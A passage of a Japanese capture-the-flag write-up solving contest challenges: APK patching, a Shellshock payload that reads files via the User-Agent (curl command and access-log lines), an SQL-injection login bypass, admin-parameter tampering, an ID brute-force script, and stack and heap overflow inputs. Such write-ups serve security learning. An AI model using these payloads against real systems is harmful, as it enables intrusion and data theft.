    public static native String checkNative(String str);

    static {
        System.loadLibrary("insecureapp");
    }

    public static String decode(String str) {
        String checkLength = checkNative(str);
        if (checkLength.length() == 16) {
            return checkLength;
        }
        return "";
    }
}

APKの lib/x86_64/libinsecureapp.so をBinary Ninjaで開いて Java_jp_go_cybercontest_insecureapk_SecretGenerater_checkNative を確認する。次のような処理からXORが行われている様子がわかるけれども、sub_218d0sub_21900 も追うのがめんどくさい。静的解析が面倒だとわかったので、APKに手を加えて入力したテキストと何がXORされているのか確認できるようにしたい。

for (int64_t i = 0; i < 0x10; i += 1)
    *(uint8_t*)sub_218d0(&var_28, i) ^= *(uint8_t*)sub_21900(&var_40, i);

ApktoolでAPKを展開し、smali_classes3/jp/go/cybercontest/insecureapk/MainActivity$AppListener.smali を開く。誤った文字列を入力した際に実行される output.setText("Incorrect."); で、Incorrect でなくデコード後の文字列である compare が表示されるようにしたい。v5compare が入っていることは明らかなので、引数をそのように変更してやればよい。

    .line 40
    const-string v6, "Congratulations! you got flag."

    invoke-virtual {v1, v5}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    goto :goto_0

    .line 42
    :cond_1
    invoke-virtual {v1, v5}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 49
    .end local v3    # "inputStr":Ljava/lang/String;
    .end local v4    # "secret":Ljava/lang/String;
    .end local v5    # "compare":Ljava/lang/String;

APKを再度構築し、Androidのエミュレータなり実機なりにインストールする。

$ java -jar /mnt/c/Users/st/tools/apktool/apktool_2.6.1.jar d FR-5.apk
$ # smaliを編集
$ java -jar /mnt/c/Users/st/tools/apktool/apktool_2.6.1.jar b FR-5 -o modified.apk
$ zipalign -p 4 modified.apk modified_aligned.apk
$ apksigner --ks ~/.android/debug.keystore modified_aligned.apk 
$ adb install modified_aligned.apk

アプリを実行して aaaaaaaaaaaaaaaa を入力すると、無事次のように表示された。

あとは、目的の文字列と aaaaa…、そして表示された QXSRSQQYQSQSSQST をXORするだけだ。

$ python3
>>> from pwn import *
>>> xor(s, "aaaaaaaaaaaaaaaa", 'QXSRSQQYQSQSSQST')
b'flag{AppNoGuard}'
flag{AppNoGuard}

PW: PWN

CVE-2014-7169他 (100 pts, xxx solves)

アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。

/etc/PW-1

https://pw1-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁の半角英数記号}

添付ファイル: PW-1.log

古い脆弱性が多くないか。添付ファイルはアクセスログで、次のようにUser-Agent経由でShellShockを試されている様子がわかる。ほとんどは404だけれども、/cgi-bin/n.cgi だけ200なのでこいつが脆弱らしい。

…
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/m.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/o.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
…

/etc/PW-1 が出力されるようペイロードを変えてやればよい。

$ curl -i "https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi" -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1"
HTTP/2 200
date: Sun, 02 Feb 2025 00:28:09 GMT
content-type: text/plain; charset=UTF-8
server: Apache/2.4.37 (centos)

flag{>:(!shellshock!}
flag{>:(!shellshock!}

認可は認証の後 (200 pts, xxx solves)

下記のURLにアクセスし、フラグを入手してください。 Webアプリケーション脆弱性診断の観点を持つと良いみたいです。

https://pw2-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁の英数字}

与えられたURLにアクセスすると、次のようにユーザ名とパスワードを聞かれるフォームが表示された。

クライアント側で文字数等のフォーマットがチェックされているけれども、問題名から察するにサーバ側では何も検証していないのだろう。DevToolsのConsoleタブで String.prototype.match = () => true を実行し、強引にクライアント側のバリデーションを無効化する。

SQLiを疑って ' or 1;# をユーザ名として入力したところ、無事にログインできた。

「フラグを表示」ボタンを押しても「フラグは管理者にしか表示されません」と怒られる。ここでHTMLを見てやると、ここでもクライアント側から送信されたパラメータを信用しきっているのであろう様子がわかる。admin という隠しパラメータが存在しているが、これを 0 から 1 に変えてやろう。

「フラグを表示」ボタンを押すと、フラグが得られた。

flag{DoNotUseParameter2Auth}

formerLogin (200 pts, xxx solves)

資料を添付しました。 この資料から推測できる情報でグループウェアにアクセスできないでしょうか。

https://pw3-prod.2025winter-cybercontest.net/

添付ファイル: document.pptx

パワポのファイルが与えられている。まず、スライドの情報から社員IDは TGT123 のような連番になっていることがわかる。

ほかに隠された情報がないか探していると、作成者と最終更新者がそれぞれ ytanakahtakahashi *2になっていることがわかる。

与えられたURLにアクセスすると、社員IDと「イニシャル」を求められる。

山田や佐藤らはダミーだろう。本命はパワポのファイルに残されていたユーザ情報ということで、「イニシャル」は ytanaka もしくは htakahashi で固定しつつ、社員IDをブルートフォースするスクリプトを書く。

import httpx
for i in range(1000):
    url = f'https://pw3-prod.2025winter-cybercontest.net/?id=TGT{i:03}&name=htakahashi'
    r = httpx.get(url)
    if 'Incorrect' in r.text:
        continue
    print(i, r.text)
for i in range(1000):
    url = f'https://pw3-prod.2025winter-cybercontest.net/?id=TGT{i:03}&name=ytanaka'
    r = httpx.get(url)
    if 'Incorrect' in r.text:
        continue
    print(i, r.text)

実行するとフラグが得られた。

$ python3 former.py 
260 
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex" />
<title>田揚斗グループウェア</title>
</head>
<body>
<div class="title">田揚斗グループウェア</div>
<form method="get">
<table border=1>
<tr>
<th>社員ID</th><td><input type="text" name="id" placeholder="TGT000"></td>
</tr><tr>
<th>氏名</th><td><input type="text" name="name" placeholder="イニシャル"></td>
</tr></table>
<input type="submit" value="Login">
</form>
<font color='red'>Successful login.</font><br>flag{EasyPasswordIsAnnoyance}</body>
</html>
flag{EasyPasswordIsAnnoyance}

overmeow (200 pts, xxx solves)

ファイルを用意したので、解析してもらえませんか。

nc pw4-prod.2025winter-cybercontest.net 30001

【回答書式】 flag{n桁の半角英数記号}

添付ファイル: overmeow

問題名から察するにオーバーフロー問だろう。amd64のELFが与えられている。Binary Ninjaでデコンパイルすると、以下のようなコードが得られる。gets を使っていてめちゃくちゃスタックオーバーフローしそうだ。メモリ上で後ろに位置する var_100x6d646f77 に書き換えられれば勝ちらしい。

int32_t main(int32_t argc, char** argv, char** envp)

{
    int64_t var_10 = 0;
    puts(WELCOME);
    puts("What's the cat's say?");
    void buf;
    gets(&buf);
    int64_t var_18;
    __builtin_strncpy(&var_18, "wodm", 8);
    
    if (0x6d646f77 != var_10)
    {
        printf("[hint]: overflow == 0x%llx\n", var_10);
        printf("secret != 0x%llx :(\n", var_18);
    }
    else
    {
        puts("Yes, I'll give you a flag.");
        system("cat flag");
    }
    
    return 0;
}

文字数を調整しつつ、いい感じに書き換えてやればよい。

$ nc pw4-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
aaaaaaaaaaaaaaaaaaaaaaaawodm
Yes, I'll give you a flag.
flag{I_will_Golondon}
flag{I_will_Golondon}

heapmeow (300 pts, xxx solves)

猫ちゃんの鳴き声はなんですか?

nc pw5-prod.2025winter-cybercontest.net 30001

【回答書式】 flag{n桁の半角英数記号}

添付ファイル: program.c

次のようなコードが与えられている。これだけでなくサーバで動いているバイナリやDockerfile等もほしい。free されていようがお構いなしに cat を使っているし、何度でも free できるのでDouble FreeやUse After Freeができそうだ。しかも、scanf("%s", alloc); とヒープオーバーフローまでできるようになっている。むちゃくちゃだ。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* WELCOME =
    " ∧,,∧\n"
    "(=・ω・)\n"
    "(,, uu)\n"
    "Dog goes woof.\n"
    "Then, Cat?";

typedef struct {
    char name[12];
    char pattern[12];
    char says[5];
} Cat;

int num_allocs;
Cat* cat;

void check_win() {
    if (!strcmp(cat->says, "meow")) {
        puts("Congratulations!");
        printf("flag{xxxxxxxxxxxxx}");
        fflush(stdout);

        exit(0);

    } else {
        puts("Try Again.");
        fflush(stdout);
    }
}

void print_menu() {
    printf(
        "\n1. Print Heap\n2. Allocate Cat\n3. Print cat->says\n4. Free cat\n5. "
        "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    puts(WELCOME);
    fflush(stdout);

    cat = malloc(sizeof(Cat));
    strncpy(cat->says, "nyao", 5);
}

void alloc_Cat() {
    char* alloc = malloc(sizeof(Cat));
    puts("What does the cat say?");
    fflush(stdout);
    scanf("%s", alloc);
}

void free_cat() { free(cat); }

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", cat->says, cat->says);
    printf("+-------------+-----------+\n");
    fflush(stdout);
}

int main(void) {
    init();

    int choice;

    while (1) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
            case 1:
                print_heap();
                break;
            case 2:
                alloc_Cat();
                check_win();
                break;
            case 3:
                printf("\n\ncat = %s\n\n", cat->says);
                fflush(stdout);
                break;
            case 4:
                free_cat();
                break;
            case 5:
                // exit
                return 0;
            default:
                puts("Invalid choice");
                fflush(stdout);
        }
    }
}

ガチャガチャしていたら、Free cat からの Allocate Cat でのヒープオーバーフローでフラグが得られた。

$ nc pw5-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
aaaaaaaaaaaaaaaaaaaaaaaameow
Congratulations!
flag{cat_g0es_me0w}
flag{cat_g0es_me0w}

TR: その他・トリビア

合体はロマン (100 pts, xxx solves)

二次元バーコードでフラグを書いておきました。

【回答書式】 flag{n桁の半角英数字}

添付ファイル: TR-1_1.gif, TR-1_2.gif, TR-1_3.gif, TR-1_4.gif

以下の4枚の画像が与えられる。ファインダパターンからQRコードを4分割したのだろうと推測できる。3枚目はアライメントパターンのはずだが様子がおかしい。色が反転されていそうだ。残りの3枚は回転しているのだろう。

3枚目は色を反転させ、残りの3枚は考えるにあたって色がウザいだけなので白黒に変換する。

import itertools
from PIL import Image, ImageOps

def f(im):
    im = im.convert('RGBA')
    w, h = im.size
    pix = im.load()
    for y in range(h):
        for x in range(w):
            if pix[x, y] != (255, 255, 255, 255):
                pix[x, y] = (0, 0, 0, 255)
    return im


a = []
base = [Image.open('TR-1_1.gif'), Image.open('TR-1_2.gif'), Image.open('TR-1_4.gif')]
for i, im in enumerate(base):
    f(im).save(f'out/{i}.png')

出力された画像を見つつ考えていると、以下の画像において赤で囲んだ部分で示しているように、画像の一部で重複している部分があることに気づいた。なるほど、これをヒントに各画像を回転させてぴったり当てはまる場所を探せばよいらしい。

最終的に次のQRコードが復元できた。

flag{ThisCodeIsLevelH}

Windowsで解きましょう (xxx pts, xxx solves)

下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください

【回答書式】 flag{22桁の半角数字}

添付ファイル: flags.bat

次のようなbatファイルが与えられる。大量にファイルを生成しそうだ。特殊な処理をするのは %%n==%FDATA4% である場合ということで、FDATA4 の定義を見に行くとその値が 25 であることがわかる。flags_25.txt だ。

@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal
flag{7525252364612534937244}

排他的倫理和 (300 pts, xxx solves)

比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。

【回答書式】 flag{IPアドレス}

添付ファイル: pattern1, pattern2, pattern3, compare

よく見ると論理でなく倫理だ。まず、指示通りに compare とその他のファイルをひとつずつXORしてみる。

from pwn import *

c = open('compare', 'rb').read()
a = [open(f'pattern{i}', 'rb').read() for i in range(1, 4)]

for x in a:
    print(xor(x, c))

最後のものだけがフラグフォーマットに従っているが、ASCIIの範囲ではないし、UTF-8として見ても正しくない。

$ python3 s.py
b'find1\x05\x1b?4/'
b'ciBd*\x16z\x95SQ'
b'flag{\xac\x1d\xef\xfd}'

はあ、と思ったところでフラグフォーマットが「flag{IPアドレス}」とされていることに気付いた。一瞬誤植かと思ったけれども、実は本当にIPアドレスなのではないか。試しにビッグエンディアンと見て10進数表現にしてみると、いい感じにプライベートIPアドレスが出てきた。半信半疑で提出したところ通ってしまう。マジか。

$ python3
>>> '.'.join(str(c) for c in b'\xac\x1d\xef\xfd')
'172.29.239.253'
flag{172.29.239.253}

*1:常識では考えられないエスパー問題を大量に出題してプレイヤーを戦慄させ、今でも語り草になっているあの第2回の業務委託先であったデジタルハーツのグループ会社であると聞いて警戒していたが、杞憂だった。今でもゲームのスタッフロールでデジタルハーツの名前を見るとついついスクリーンショットを撮ってしまう

*2:実はhtahakashiになっているということをCTFの終了後にXのTLを見て知った